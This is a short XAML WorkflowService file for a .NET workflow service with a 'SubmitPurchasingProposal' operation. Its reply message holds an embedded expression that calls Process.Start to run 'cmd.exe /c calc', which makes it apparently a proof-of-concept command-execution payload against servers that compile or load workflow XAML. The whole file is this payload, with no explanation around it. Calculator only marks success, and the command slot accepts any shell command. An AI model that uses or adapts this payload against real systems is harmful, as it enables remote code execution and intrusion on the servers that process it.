<WorkflowService ConfigurationName="Service1" Name="Service1" xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" xmlns:p="http://schemas.microsoft.com/netfx/2009/xaml/activities" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" > <p:Sequence DisplayName="Sequential Service"> <TransactedReceiveScope Request="{x:Reference __r0}"> <p1:Sequence > <SendReply DisplayName="SendResponse" > <SendReply.Request> <Receive x:Name="__r0" CanCreateInstance="True" OperationName="SubmitPurchasingProposal" Action="testme" /> </SendReply.Request> <SendMessageContent> <p1:InArgument x:TypeArguments="x:String">[System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()]</p1:InArgument> </SendMessageContent> </SendReply> </p1:Sequence> </TransactedReceiveScope> </p:Sequence> </WorkflowService>